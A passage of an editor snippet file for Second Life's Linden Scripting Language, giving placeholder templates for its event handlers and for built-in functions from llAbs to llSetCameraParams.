HTTP_MIMETYPE\\n\tHTTP_MIMETYPE, ${1:string mimeType}, $0\\nsnippet HTTP_PRAGMA_NO_CACHE\\n\tHTTP_PRAGMA_NO_CACHE, ${1:integer send_header}, $0\\nsnippet HTTP_VERBOSE_THROTTLE\\n\tHTTP_VERBOSE_THROTTLE, ${1:integer noisy}, $0\\nsnippet HTTP_VERIFY_CERT\\n\tHTTP_VERIFY_CERT, ${1:integer verify}, $0\\nsnippet RC_DATA_FLAGS\\n\tRC_DATA_FLAGS, ${1:integer flags}, $0\\nsnippet RC_DETECT_PHANTOM\\n\tRC_DETECT_PHANTOM, ${1:integer dectedPhantom}, $0\\nsnippet RC_MAX_HITS\\n\tRC_MAX_HITS, ${1:integer maxHits}, $0\\nsnippet RC_REJECT_TYPES\\n\tRC_REJECT_TYPES, ${1:integer filterMask}, $0\\nsnippet at_rot_target\\n\tat_rot_target(${1:integer handle}, ${2:rotation targetrot}, ${3:rotation ourrot})\\n\t{\\n\t\t$0\\n\t}\\nsnippet at_target\\n\tat_target(${1:integer tnum}, ${2:vector targetpos}, ${3:vector ourpos})\\n\t{\\n\t\t$0\\n\t}\\nsnippet attach\\n\tattach(${1:key id})\\n\t{\\n\t\t$0\\n\t}\\nsnippet changed\\n\tchanged(${1:integer change})\\n\t{\\n\t\t$0\\n\t}\\nsnippet collision\\n\tcollision(${1:integer index})\\n\t{\\n\t\t$0\\n\t}\\nsnippet collision_end\\n\tcollision_end(${1:integer index})\\n\t{\\n\t\t$0\\n\t}\\nsnippet collision_start\\n\tcollision_start(${1:integer index})\\n\t{\\n\t\t$0\\n\t}\\nsnippet control\\n\tcontrol(${1:key id}, ${2:integer level}, ${3:integer edge})\\n\t{\\n\t\t$0\\n\t}\\nsnippet dataserver\\n\tdataserver(${1:key query_id}, ${2:string data})\\n\t{\\n\t\t$0\\n\t}\\nsnippet do\\n\tdo\\n\t{\\n\t\t$0\\n\t}\\n\twhile (${1:condition});\\nsnippet else\\n\telse\\n\t{\\n\t\t$0\\n\t}\\nsnippet email\\n\temail(${1:string time}, ${2:string address}, ${3:string subject}, ${4:string message}, ${5:integer num_left})\\n\t{\\n\t\t$0\\n\t}\\nsnippet experience_permissions\\n\texperience_permissions(${1:key agent_id})\\n\t{\\n\t\t$0\\n\t}\\nsnippet experience_permissions_denied\\n\texperience_permissions_denied(${1:key agent_id}, ${2:integer reason})\\n\t{\\n\t\t$0\\n\t}\\nsnippet for\\n\tfor (${1:start}; ${3:condition}; ${3:step})\\n\t{\\n\t\t$0\\n\t}\\nsnippet http_request\\n\thttp_request(${1:key request_id}, ${2:string method}, ${3:string body})\\n\t{\\n\t\t$0\\n\t}\\nsnippet http_response\\n\thttp_response(${1:key request_id}, ${2:integer status}, ${3:list metadata}, ${4:string body})\\n\t{\\n\t\t$0\\n\t}\\nsnippet if\\n\tif (${1:condition})\\n\t{\\n\t\t$0\\n\t}\\nsnippet jump\\n\tjump ${1:label};\\nsnippet land_collision\\n\tland_collision(${1:vector pos})\\n\t{\\n\t\t$0\\n\t}\\nsnippet land_collision_end\\n\tland_collision_end(${1:vector pos})\\n\t{\\n\t\t$0\\n\t}\\nsnippet land_collision_start\\n\tland_collision_start(${1:vector pos})\\n\t{\\n\t\t$0\\n\t}\\nsnippet link_message\\n\tlink_message(${1:integer sender_num}, ${2:integer num}, ${3:string str}, ${4:key id})\\n\t{\\n\t\t$0\\n\t}\\nsnippet listen\\n\tlisten(${1:integer channel}, ${2:string name}, ${3:key id}, ${4:string message})\\n\t{\\n\t\t$0\\n\t}\\nsnippet llAbs\\n\tllAbs(${1:integer val})\\nsnippet llAcos\\n\tllAcos(${1:float val})\\nsnippet llAddToLandBanList\\n\tllAddToLandBanList(${1:key agent}, ${2:float hours});\\n\t$0\\nsnippet llAddToLandPassList\\n\tllAddToLandPassList(${1:key agent}, ${2:float hours});\\n\t$0\\nsnippet llAdjustSoundVolume\\n\tllAdjustSoundVolume(${1:float volume});\\n\t$0\\nsnippet llAgentInExperience\\n\tllAgentInExperience(${1:key agent})\\nsnippet llAllowInventoryDrop\\n\tllAllowInventoryDrop(${1:integer add});\\n\t$0\\nsnippet llAngleBetween\\n\tllAngleBetween(${1:rotation a}, ${2:rotation b})\\nsnippet llApplyImpulse\\n\tllApplyImpulse(${1:vector force}, ${2:integer local});\\n\t$0\\nsnippet llApplyRotationalImpulse\\n\tllApplyRotationalImpulse(${1:vector force}, ${2:integer local});\\n\t$0\\nsnippet llAsin\\n\tllAsin(${1:float val})\\nsnippet llAtan2\\n\tllAtan2(${1:float y}, ${2:float x})\\nsnippet llAttachToAvatar\\n\tllAttachToAvatar(${1:integer attach_point});\\n\t$0\\nsnippet llAttachToAvatarTemp\\n\tllAttachToAvatarTemp(${1:integer attach_point});\\n\t$0\\nsnippet llAvatarOnLinkSitTarget\\n\tllAvatarOnLinkSitTarget(${1:integer link})\\nsnippet llAvatarOnSitTarget\\n\tllAvatarOnSitTarget()\\nsnippet llAxes2Rot\\n\tllAxes2Rot(${1:vector fwd}, ${2:vector left}, ${3:vector up})\\nsnippet llAxisAngle2Rot\\n\tllAxisAngle2Rot(${1:vector axis}, ${2:float angle})\\nsnippet llBase64ToInteger\\n\tllBase64ToInteger(${1:string str})\\nsnippet llBase64ToString\\n\tllBase64ToString(${1:string str})\\nsnippet llBreakAllLinks\\n\tllBreakAllLinks();\\n\t$0\\nsnippet llBreakLink\\n\tllBreakLink(${1:integer link});\\n\t$0\\nsnippet llCastRay\\n\tllCastRay(${1:vector start}, ${2:vector end}, ${3:list options});\\n\t$0\\nsnippet llCeil\\n\tllCeil(${1:float val})\\nsnippet llClearCameraParams\\n\tllClearCameraParams();\\n\t$0\\nsnippet llClearLinkMedia\\n\tllClearLinkMedia(${1:integer link}, ${2:integer face});\\n\t$0\\nsnippet llClearPrimMedia\\n\tllClearPrimMedia(${1:integer face});\\n\t$0\\nsnippet llCloseRemoteDataChannel\\n\tllCloseRemoteDataChannel(${1:key channel});\\n\t$0\\nsnippet llCollisionFilter\\n\tllCollisionFilter(${1:string name}, ${2:key id}, ${3:integer accept});\\n\t$0\\nsnippet llCollisionSound\\n\tllCollisionSound(${1:string impact_sound}, ${2:float impact_volume});\\n\t$0\\nsnippet llCos\\n\tllCos(${1:float theta})\\nsnippet llCreateCharacter\\n\tllCreateCharacter(${1:list options});\\n\t$0\\nsnippet llCreateKeyValue\\n\tllCreateKeyValue(${1:string k})\\nsnippet llCreateLink\\n\tllCreateLink(${1:key target}, ${2:integer parent});\\n\t$0\\nsnippet llCSV2List\\n\tllCSV2List(${1:string src})\\nsnippet llDataSizeKeyValue\\n\tllDataSizeKeyValue()\\nsnippet llDeleteCharacter\\n\tllDeleteCharacter();\\n\t$0\\nsnippet llDeleteKeyValue\\n\tllDeleteKeyValue(${1:string k})\\nsnippet llDeleteSubList\\n\tllDeleteSubList(${1:list src}, ${2:integer start}, ${3:integer end})\\nsnippet llDeleteSubString\\n\tllDeleteSubString(${1:string src}, ${2:integer start}, ${3:integer end})\\nsnippet llDetachFromAvatar\\n\tllDetachFromAvatar();\\n\t$0\\nsnippet llDetectedGrab\\n\tllDetectedGrab(${1:integer number})\\nsnippet llDetectedGroup\\n\tllDetectedGroup(${1:integer number})\\nsnippet llDetectedKey\\n\tllDetectedKey(${1:integer number})\\nsnippet llDetectedLinkNumber\\n\tllDetectedLinkNumber(${1:integer number})\\nsnippet llDetectedName\\n\tllDetectedName(${1:integer number})\\nsnippet llDetectedOwner\\n\tllDetectedOwner(${1:integer number})\\nsnippet llDetectedPos\\n\tllDetectedPosl(${1:integer number})\\nsnippet llDetectedRot\\n\tllDetectedRot(${1:integer number})\\nsnippet llDetectedTouchBinormal\\n\tllDetectedTouchBinormal(${1:integer number})\\nsnippet llDetectedTouchFace\\n\tllDetectedTouchFace(${1:integer number})\\nsnippet llDetectedTouchNormal\\n\tllDetectedTouchNormal(${1:integer number})\\nsnippet llDetectedTouchPos\\n\tllDetectedTouchPos(${1:integer number})\\nsnippet llDetectedTouchST\\n\tllDetectedTouchST(${1:integer number})\\nsnippet llDetectedTouchUV\\n\tllDetectedTouchUV(${1:integer number})\\nsnippet llDetectedType\\n\tllDetectedType(${1:integer number})\\nsnippet llDetectedVel\\n\tllDetectedVel(${1:integer number})\\nsnippet llDialog\\n\tllDialog(${1:key agent}, ${2:string message}, ${3:list buttons}, ${4:integer channel});\\n\t$0\\nsnippet llDie\\n\tllDie();\\n\t$0\\nsnippet llDumpList2String\\n\tllDumpList2String(${1:list src}, ${2:string separator})\\nsnippet llEdgeOfWorld\\n\tllEdgeOfWorld(${1:vector pos}, ${2:vector dir})\\nsnippet llEjectFromLand\\n\tllEjectFromLand(${1:key agent});\\n\t$0\\nsnippet llEmail\\n\tllEmail(${1:string address}, ${2:string subject}, ${3:string message});\\n\t$0\\nsnippet llEscapeURL\\n\tllEscapeURL(${1:string url})\\nsnippet llEuler2Rot\\n\tllEuler2Rot(${1:vector v})\\nsnippet llExecCharacterCmd\\n\tllExecCharacterCmd(${1:integer command}, ${2:list options});\\n\t$0\\nsnippet llEvade\\n\tllEvade(${1:key target}, ${2:list options});\\n\t$0\\nsnippet llFabs\\n\tllFabs(${1:float val})\\nsnippet llFleeFrom\\n\tllFleeFrom(${1:vector position}, ${2:float distance}, ${3:list options});\\n\t$0\\nsnippet llFloor\\n\tllFloor(${1:float val})\\nsnippet llForceMouselook\\n\tllForceMouselook(${1:integer mouselook});\\n\t$0\\nsnippet llFrand\\n\tllFrand(${1:float mag})\\nsnippet llGenerateKey\\n\tllGenerateKey()\\nsnippet llGetAccel\\n\tllGetAccel()\\nsnippet llGetAgentInfo\\n\tllGetAgentInfo(${1:key id})\\nsnippet llGetAgentLanguage\\n\tllGetAgentLanguage(${1:key agent})\\nsnippet llGetAgentList\\n\tllGetAgentList(${1:integer scope}, ${2:list options})\\nsnippet llGetAgentSize\\n\tllGetAgentSize(${1:key agent})\\nsnippet llGetAlpha\\n\tllGetAlpha(${1:integer face})\\nsnippet llGetAndResetTime\\n\tllGetAndResetTime()\\nsnippet llGetAnimation\\n\tllGetAnimation(${1:key id})\\nsnippet llGetAnimationList\\n\tllGetAnimationList(${1:key agent})\\nsnippet llGetAnimationOverride\\n\tllGetAnimationOverride(${1:string anim_state})\\nsnippet llGetAttached\\n\tllGetAttached()\\nsnippet llGetAttachedList\\n\tllGetAttachedList(${1:key id})\\nsnippet llGetBoundingBox\\n\tllGetBoundingBox(${1:key object})\\nsnippet llGetCameraPos\\n\tllGetCameraPos()\\nsnippet llGetCameraRot\\n\tllGetCameraRot()\\nsnippet llGetCenterOfMass\\n\tllGetCenterOfMass()\\nsnippet llGetClosestNavPoint\\n\tllGetClosestNavPoint(${1:vector point}, ${2:list options})\\nsnippet llGetColor\\n\tllGetColor(${1:integer face})\\nsnippet llGetCreator\\n\tllGetCreator()\\nsnippet llGetDate\\n\tllGetDate()\\nsnippet llGetDisplayName\\n\tllGetDisplayName(${1:key id})\\nsnippet llGetEnergy\\n\tllGetEnergy()\\nsnippet llGetEnv\\n\tllGetEnv(${1:string name})\\nsnippet llGetExperienceDetails\\n\tllGetExperienceDetails(${1:key experience_id})\\nsnippet llGetExperienceErrorMessage\\n\tllGetExperienceErrorMessage(${1:integer error})\\nsnippet llGetForce\\n\tllGetForce()\\nsnippet llGetFreeMemory\\n\tllGetFreeMemory()\\nsnippet llGetFreeURLs\\n\tllGetFreeURLs()\\nsnippet llGetGeometricCenter\\n\tllGetGeometricCenter()\\nsnippet llGetGMTclock\\n\tllGetGMTclock()\\nsnippet llGetHTTPHeader\\n\tllGetHTTPHeader(${1:key request_id}, ${2:string header})\\nsnippet llGetInventoryCreator\\n\tllGetInventoryCreator(${1:string item})\\nsnippet llGetInventoryKey\\n\tllGetInventoryKey(${1:string name})\\nsnippet llGetInventoryName\\n\tllGetInventoryName(${1:integer type}, ${2:integer number})\\nsnippet llGetInventoryNumber\\n\tllGetInventoryNumber(${1:integer type})\\nsnippet llGetInventoryPermMask\\n\tllGetInventoryPermMask(${1:string item}, ${2:integer mask})\\nsnippet llGetInventoryType\\n\tllGetInventoryType(${1:string name})\\nsnippet llGetKey\\n\tllGetKey()\\nsnippet llGetLandOwnerAt\\n\tllGetLandOwnerAt(${1:vector pos})\\nsnippet llGetLinkKey\\n\tllGetLinkKey(${1:integer link})\\nsnippet llGetLinkMedia\\n\tllGetLinkMedia(${1:integer link}, ${2:integer face}, ${3:list params})\\nsnippet llGetLinkName\\n\tllGetLinkName(${1:integer link})\\nsnippet llGetLinkNumber\\n\tllGetLinkNumber()\\nsnippet llGetLinkNumberOfSides\\n\tllGetLinkNumberOfSides(${1:integer link})\\nsnippet llGetLinkPrimitiveParams\\n\tllGetLinkPrimitiveParams(${1:integer link}, ${2:list params})\\nsnippet llGetListEntryType\\n\tllGetListEntryType(${1:list src}, ${2:integer index})\\nsnippet llGetListLength\\n\tllGetListLength(${1:list src})\\nsnippet llGetLocalPos\\n\tllGetLocalPos()\\nsnippet llGetLocalRot\\n\tllGetLocalRot()\\nsnippet llGetMass\\n\tllGetMass()\\nsnippet llGetMassMKS\\n\tllGetMassMKS()\\nsnippet llGetMaxScaleFactor\\n\tllGetMaxScaleFactor()\\nsnippet llGetMemoryLimit\\n\tllGetMemoryLimit()\\nsnippet llGetMinScaleFactor\\n\tllGetMinScaleFactor()\\nsnippet llGetNextEmail\\n\tllGetNextEmail(${1:string address}, ${2:string subject});\\n\t$0\\nsnippet llGetNotecardLine\\n\tllGetNotecardLine(${1:string name}, ${2:integer line})\\nsnippet llGetNumberOfNotecardLines\\n\tllGetNumberOfNotecardLines(${1:string name})\\nsnippet llGetNumberOfPrims\\n\tllGetNumberOfPrims()\\nsnippet llGetNumberOfSides\\n\tllGetNumberOfSides()\\nsnippet llGetObjectDesc\\n\tllGetObjectDesc()\\nsnippet llGetObjectDetails\\n\tllGetObjectDetails(${1:key id}, ${2:list params})\\nsnippet llGetObjectMass\\n\tllGetObjectMass(${1:key id})\\nsnippet llGetObjectName\\n\tllGetObjectName()\\nsnippet llGetObjectPermMask\\n\tllGetObjectPermMask(${1:integer mask})\\nsnippet llGetObjectPrimCount\\n\tllGetObjectPrimCount(${1:key prim})\\nsnippet llGetOmega\\n\tllGetOmega()\\nsnippet llGetOwner\\n\tllGetOwner()\\nsnippet llGetOwnerKey\\n\tllGetOwnerKey(${1:key id})\\nsnippet llGetParcelDetails\\n\tllGetParcelDetails(${1:vector pos}, ${2:list params})\\nsnippet llGetParcelFlags\\n\tllGetParcelFlags(${1:vector pos})\\nsnippet llGetParcelMaxPrims\\n\tllGetParcelMaxPrims(${1:vector pos}, ${2:integer sim_wide})\\nsnippet llGetParcelMusicURL\\n\tllGetParcelMusicURL()\\nsnippet llGetParcelPrimCount\\n\tllGetParcelPrimCount(${1:vector pos}, ${2:integer category}, ${3:integer sim_wide})\\nsnippet llGetParcelPrimOwners\\n\tllGetParcelPrimOwners(${1:vector pos})\\nsnippet llGetPermissions\\n\tllGetPermissions()\\nsnippet llGetPermissionsKey\\n\tllGetPermissionsKey()\\nsnippet llGetPhysicsMaterial\\n\tllGetPhysicsMaterial()\\nsnippet llGetPos\\n\tllGetPos()\\nsnippet llGetPrimitiveParams\\n\tllGetPrimitiveParams(${1:list params})\\nsnippet llGetPrimMediaParams\\n\tllGetPrimMediaParams(${1:integer face}, ${2:list params})\\nsnippet llGetRegionAgentCount\\n\tllGetRegionAgentCount()\\nsnippet llGetRegionCorner\\n\tllGetRegionCorner()\\nsnippet llGetRegionFlags\\n\tllGetRegionFlags()\\nsnippet llGetRegionFPS\\n\tllGetRegionFPS()\\nsnippet llGetRegionName\\n\tllGetRegionName()\\nsnippet llGetRegionTimeDilation\\n\tllGetRegionTimeDilation()\\nsnippet llGetRootPosition\\n\tllGetRootPosition()\\nsnippet llGetRootRotation\\n\tllGetRootRotation()\\nsnippet llGetRot\\n\tllGetRot()\\nsnippet llGetScale\\n\tllGetScale()\\nsnippet llGetScriptName\\n\tllGetScriptName()\\nsnippet llGetScriptState\\n\tllGetScriptState(${1:string script})\\nsnippet llGetSimStats\\n\tllGetSimStats(${1:integer stat_type})\\nsnippet llGetSimulatorHostname\\n\tllGetSimulatorHostname()\\nsnippet llGetSPMaxMemory\\n\tllGetSPMaxMemory()\\nsnippet llGetStartParameter\\n\tllGetStartParameter()\\nsnippet llGetStaticPath\\n\tllGetStaticPath(${1:vector start}, ${2:vector end}, ${3:float radius}, ${4:list params})\\nsnippet llGetStatus\\n\tllGetStatus(${1:integer status})\\nsnippet llGetSubString\\n\tllGetSubString(${1:string src}, ${2:integer start}, ${3:integer end})\\nsnippet llGetSunDirection\\n\tllGetSunDirection()\\nsnippet llGetTexture\\n\tllGetTexture(${1:integer face})\\nsnippet llGetTextureOffset\\n\tllGetTextureOffset(${1:integer face})\\nsnippet llGetTextureRot\\n\tllGetTextureRot(${1:integer face})\\nsnippet llGetTextureScale\\n\tllGetTextureScale(${1:integer face})\\nsnippet llGetTime\\n\tllGetTime()\\nsnippet llGetTimeOfDay\\n\tllGetTimeOfDay()\\nsnippet llGetTimestamp\\n\tllGetTimestamp()\\nsnippet llGetTorque\\n\tllGetTorque()\\nsnippet llGetUnixTime\\n\tllGetUnixTime()\\nsnippet llGetUsedMemory\\n\tllGetUsedMemory()\\nsnippet llGetUsername\\n\tllGetUsername(${1:key id})\\nsnippet llGetVel\\n\tllGetVel()\\nsnippet llGetWallclock\\n\tllGetWallclock()\\nsnippet llGiveInventory\\n\tllGiveInventory(${1:key destination}, ${2:string inventory});\\n\t$0\\nsnippet llGiveInventoryList\\n\tllGiveInventoryList(${1:key target}, ${2:string folder}, ${3:list inventory});\\n\t$0\\nsnippet llGiveMoney\\n\tllGiveMoney(${1:key destination}, ${2:integer amount})\\nsnippet llGround\\n\tllGround(${1:vector offset})\\nsnippet llGroundContour\\n\tllGroundContour(${1:vector offset})\\nsnippet llGroundNormal\\n\tllGroundNormal(${1:vector offset})\\nsnippet llGroundRepel\\n\tllGroundRepel(${1:float height}, ${2:integer water}, ${3:float tau});\\n\t$0\\nsnippet llGroundSlope\\n\tllGroundSlope(${1:vector offset})\\nsnippet llHTTPRequest\\n\tllHTTPRequest(${1:string url}, ${2:list parameters}, ${3:string body})\\nsnippet llHTTPResponse\\n\tllHTTPResponse(${1:key request_id}, ${2:integer status}, ${3:string body});\\n\t$0\\nsnippet llInsertString\\n\tllInsertString(${1:string dst}, ${2:integer pos}, ${3:string src})\\nsnippet llInstantMessage\\n\tllInstantMessage(${1:key user}, ${2:string message});\\n\t$0\\nsnippet llIntegerToBase64\\n\tllIntegerToBase64(${1:integer number})\\nsnippet llJson2List\\n\tllJson2List(${1:string json})\\nsnippet llJsonGetValue\\n\tllJsonGetValue(${1:string json}, ${2:list specifiers})\\nsnippet llJsonSetValue\\n\tllJsonSetValue(${1:string json}, ${2:list specifiers}, ${3:string newValue})\\nsnippet llJsonValueType\\n\tllJsonValueType(${1:string json}, ${2:list specifiers})\\nsnippet llKey2Name\\n\tllKey2Name(${1:key id})\\nsnippet llKeyCountKeyValue\\n\tllKeyCountKeyValue()\\nsnippet llKeysKeyValue\\n\tllKeysKeyValue(${1:integer first}, ${2:integer count})\\nsnippet llLinkParticleSystem\\n\tllLinkParticleSystem(${1:integer link}, ${2:list rules});\\n\t$0\\nsnippet llLinkSitTarget\\n\tllLinkSitTarget(${1:integer link}, ${2:vector offset}, ${3:rotation rot});\\n\t$0\\nsnippet llList2CSV\\n\tllList2CSV(${1:list src})\\nsnippet llList2Float\\n\tllList2Float(${1:list src}, ${2:integer index})\\nsnippet llList2Integer\\n\tllList2Integer(${1:list src}, ${2:integer index})\\nsnippet llList2Json\\n\tllList2Json(${1:string type}, ${2:list values})\\nsnippet llList2Key\\n\tllList2Key(${1:list src}, ${2:integer index})\\nsnippet llList2List\\n\tllList2List(${1:list src}, ${2:integer start}, ${3:integer end})\\nsnippet llList2ListStrided\\n\tllList2ListStrided(${1:list src}, ${2:integer start}, ${3:integer end}, ${4:integer stride})\\nsnippet llList2Rot\\n\tllList2Rot(${1:list src}, ${2:integer index})\\nsnippet llList2String\\n\tllList2String(${1:list src}, ${2:integer index})\\nsnippet llList2Vector\\n\tllList2Vector(${1:list src}, ${2:integer index})\\nsnippet llListen\\n\tllListen(${1:integer channel}, ${2:string name}, ${3:key id}, ${4:string msg})\\nsnippet llListenControl\\n\tllListenControl(${1:integer handle}, ${2:integer active});\\n\t$0\\nsnippet llListenRemove\\n\tllListenRemove(${1:integer handle});\\n\t$0\\nsnippet llListFindList\\n\tllListFindList(${1:list src}, ${2:list test})\\nsnippet llListInsertList\\n\tllListInsertList(${1:list dest}, ${2:list src}, ${3:integer start})\\nsnippet llListRandomize\\n\tllListRandomize(${1:list src}, ${2:integer stride})\\nsnippet llListReplaceList\\n\tllListReplaceList(${1:list dest}, ${2:list src}, ${3:integer start}, ${4:integer end})\\nsnippet llListSort\\n\tllListSort(${1:list src}, ${2:integer stride}, ${3:integer ascending})\\nsnippet llListStatistics\\n\tllListStatistics(${1:integer operation}, ${2:list src})\\nsnippet llLoadURL\\n\tllLoadURL(${1:key agent}, ${2:string message}, ${3:string url});\\n\t$0\\nsnippet llLog\\n\tllLog(${1:float val})\\nsnippet llLog10\\n\tllLog10(${1:float val})\\nsnippet llLookAt\\n\tllLookAt(${1:vector target}, ${2:float strength}, ${3:float damping});\\n\t$0\\nsnippet llLoopSound\\n\tllLoopSound(${1:string sound}, ${2:float volume});\\n\t$0\\nsnippet llLoopSoundMaster\\n\tllLoopSoundMaster(${1:string sound}, ${2:float volume});\\n\t$0\\nsnippet llLoopSoundSlave\\n\tllLoopSoundSlave(${1:string sound}, ${2:float volume});\\n\t$0\\nsnippet llManageEstateAccess\\n\tllManageEstateAccess(${1:integer action}, ${2:key agent})\\nsnippet llMapDestination\\n\tllMapDestination(${1:string simname}, ${2:vector pos}, ${3:vector look_at});\\n\t$0\\nsnippet llMD5String\\n\tllMD5String(${1:string src}, ${2:integer nonce})\\nsnippet llMessageLinked\\n\tllMessageLinked(${1:integer link}, ${2:integer num}, ${3:string str}, ${4:key id});\\n\t$0\\nsnippet llMinEventDelay\\n\tllMinEventDelay(${1:float delay});\\n\t$0\\nsnippet llModifyLand\\n\tllModifyLand(${1:integer action}, ${2:integer brush});\\n\t$0\\nsnippet llModPow\\n\tllModPow(${1:integer a}, ${2:integer b}, ${3:integer c})\\nsnippet llMoveToTarget\\n\tllMoveToTarget(${1:vector target}, ${2:float tau});\\n\t$0\\nsnippet llNavigateTo\\n\tllNavigateTo(${1:vector pos}, ${2:list options});\\n\t$0\\nsnippet llOffsetTexture\\n\tllOffsetTexture(${1:float u}, ${2:float v}, ${3:integer face});\\n\t$0\\nsnippet llOpenRemoteDataChannel\\n\tllOpenRemoteDataChannel();\\n\t$0\\nsnippet llOverMyLand\\n\tllOverMyLand(${1:key id})\\nsnippet llOwnerSay\\n\tllOwnerSay(${1:string msg});\\n\t$0\\nsnippet llParcelMediaCommandList\\n\tllParcelMediaCommandList(${1:list commandList});\\n\t$0\\nsnippet llParcelMediaQuery\\n\tllParcelMediaQuery(${1:list query})\\nsnippet llParseString2List\\n\tllParseString2List(${1:string src}, ${2:list separators}, ${3:list spacers})\\nsnippet llParseStringKeepNulls\\n\tllParseStringKeepNulls(${1:string src}, ${2:list separators}, ${3:list spacers})\\nsnippet llParticleSystem\\n\tllParticleSystem(${1:list rules});\\n\t$0\\nsnippet llPassCollisions\\n\tllPassCollisions(${1:integer pass});\\n\t$0\\nsnippet llPassTouches\\n\tllPassTouches(${1:integer pass});\\n\t$0\\nsnippet llPatrolPoints\\n\tllPatrolPoints(${1:list patrolPoints}, ${2:list options});\\n\t$0\\nsnippet llPlaySound\\n\tllPlaySound(${1:string sound}, ${2:float volume});\\n\t$0\\nsnippet llPlaySoundSlave\\n\tllPlaySoundSlave(${1:string sound}, ${2:float volume});\\n\t$0\\nsnippet llPow\\n\tllPow(${1:float base}, ${2:float exponent})\\nsnippet llPreloadSound\\n\tllPreloadSound(${1:string sound});\\n\t$0\\nsnippet llPursue\\n\tllPursue(${1:key target}, ${2:list options});\\n\t$0\\nsnippet llPushObject\\n\tllPushObject(${1:key target}, ${2:vector impulse}, ${3:vector ang_impulse}, ${4:integer local});\\n\t$0\\nsnippet llReadKeyValue\\n\tllReadKeyValue(${1:string k})\\nsnippet llRegionSay\\n\tllRegionSay(${1:integer channel}, ${2:string msg});\\n\t$0\\nsnippet llRegionSayTo\\n\tllRegionSayTo(${1:key target}, ${2:integer channel}, ${3:string msg});\\n\t$0\\nsnippet llReleaseControls\\n\tllReleaseControls();\\n\t$0\\nsnippet llReleaseURL\\n\tllReleaseURL(${1:string url});\\n\t$0\\nsnippet llRemoteDataReply\\n\tllRemoteDataReply(${1:key channel}, ${2:key message_id}, ${3:string sdata}, ${4:integer idata});\\n\t$0\\nsnippet llRemoteLoadScriptPin\\n\tllRemoteLoadScriptPin(${1:key target}, ${2:string name}, ${3:integer pin}, ${4:integer running}, ${5:integer start_param});\\n\t$0\\nsnippet llRemoveFromLandBanList\\n\tllRemoveFromLandBanList(${1:key agent});\\n\t$0\\nsnippet llRemoveFromLandPassList\\n\tllRemoveFromLandPassList(${1:key agent});\\n\t$0\\nsnippet llRemoveInventory\\n\tllRemoveInventory(${1:string item});\\n\t$0\\nsnippet llRemoveVehicleFlags\\n\tllRemoveVehicleFlags(${1:integer flags});\\n\t$0\\nsnippet llRequestAgentData\\n\tllRequestAgentData(${1:key id}, ${2:integer data})\\nsnippet llRequestDisplayName\\n\tllRequestDisplayName(${1:key id})\\nsnippet llRequestExperiencePermissions\\n\tllRequestExperiencePermissions(${1:key agent}, ${2:string name})\\nsnippet llRequestInventoryData\\n\tllRequestInventoryData(${1:string name})\\nsnippet llRequestPermissions\\n\tllRequestPermissions(${1:key agent}, ${2:integer permissions})\\nsnippet llRequestSecureURL\\n\tllRequestSecureURL()\\nsnippet llRequestSimulatorData\\n\tllRequestSimulatorData(${1:string region}, ${2:integer data})\\nsnippet llRequestURL\\n\tllRequestURL()\\nsnippet llRequestUsername\\n\tllRequestUsername(${1:key id})\\nsnippet llResetAnimationOverride\\n\tllResetAnimationOverride(${1:string anim_state});\\n\t$0\\nsnippet llResetLandBanList\\n\tllResetLandBanList();\\n\t$0\\nsnippet llResetLandPassList\\n\tllResetLandPassList();\\n\t$0\\nsnippet llResetOtherScript\\n\tllResetOtherScript(${1:string name});\\n\t$0\\nsnippet llResetScript\\n\tllResetScript();\\n\t$0\\nsnippet llResetTime\\n\tllResetTime();\\n\t$0\\nsnippet llReturnObjectsByID\\n\tllReturnObjectsByID(${1:list objects})\\nsnippet llReturnObjectsByOwner\\n\tllReturnObjectsByOwner(${1:key owner}, ${2:integer scope})\\nsnippet llRezAtRoot\\n\tllRezAtRoot(${1:string inventory}, ${2:vector position}, ${3:vector velocity}, ${4:rotation rot}, ${5:integer param});\\n\t$0\\nsnippet llRezObject\\n\tllRezObject(${1:string inventory}, ${2:vector pos}, ${3:vector vel}, ${4:rotation rot}, ${5:integer param});\\n\t$0\\nsnippet llRot2Angle\\n\tllRot2Angle(${1:rotation rot})\\nsnippet llRot2Axis\\n\tllRot2Axis(${1:rotation rot})\\nsnippet llRot2Euler\\n\tllRot2Euler(${1:rotation quat})\\nsnippet llRot2Fwd\\n\tllRot2Fwd(${1:rotation q})\\nsnippet llRot2Left\\n\tllRot2Left(${1:rotation q})\\nsnippet llRot2Up\\n\tllRot2Up(${1:rotation q})\\nsnippet llRotateTexture\\n\tllRotateTexture(${1:float angle}, ${2:integer face});\\n\t$0\\nsnippet llRotBetween\\n\tllRotBetween(${1:vector start}, ${2:vector end})\\nsnippet llRotLookAt\\n\tllRotLookAt(${1:rotation target_direction}, ${2:float strength}, ${3:float damping});\\n\t$0\\nsnippet llRotTarget\\n\tllRotTarget(${1:rotation rot}, ${2:float error})\\nsnippet llRotTargetRemove\\n\tllRotTargetRemove(${1:integer handle});\\n\t$0\\nsnippet llRound\\n\tllRound(${1:float val})\\nsnippet llSameGroup\\n\tllSameGroup(${1:key group})\\nsnippet llSay\\n\tllSay(${1:integer channel}, ${2:string msg});\\n\t$0\\nsnippet llScaleByFactor\\n\tllScaleByFactor(${1:float scaling_factor})\\nsnippet llScaleTexture\\n\tllScaleTexture(${1:float u}, ${2:float v}, ${3:integer face});\\n\t$0\\nsnippet llScriptDanger\\n\tllScriptDanger(${1:vector pos})\\nsnippet llScriptProfiler\\n\tllScriptProfiler(${1:integer flags});\\n\t$0\\nsnippet llSendRemoteData\\n\tllSendRemoteData(${1:key channel}, ${2:string dest}, ${3:integer idata}, ${4:string sdata})\\nsnippet llSensor\\n\tllSensor(${1:string name}, ${2:key id}, ${3:integer type}, ${4:float range}, ${5:float arc});\\n\t$0\\nsnippet llSensorRepeat\\n\tllSensorRepeat(${1:string name}, ${2:key id}, ${3:integer type}, ${4:float range}, ${5:float arc}, ${6:float rate});\\n\t$0\\nsnippet llSetAlpha\\n\tllSetAlpha(${1:float alpha}, ${2:integer face});\\n\t$0\\nsnippet llSetAngularVelocity\\n\tllSetAngularVelocity(${1:vector force}, ${2:integer local});\\n\t$0\\nsnippet llSetAnimationOverride\\n\tllSetAnimationOverride(${1:string anim_state}, ${2:string anim})\\nsnippet llSetBuoyancy\\n\tllSetBuoyancy(${1:float buoyancy});\\n\t$0\\nsnippet llSetCameraAtOffset\\n\tllSetCameraAtOffset(${1:vector offset});\\n\t$0\\nsnippet llSetCameraEyeOffset\\n\tllSetCameraEyeOffset(${1:vector offset});\\n\t$0\\nsnippet llSetCameraParams\\n\tllSetCameraParams(${1:list rules});\\n\t$0\\nsnippet 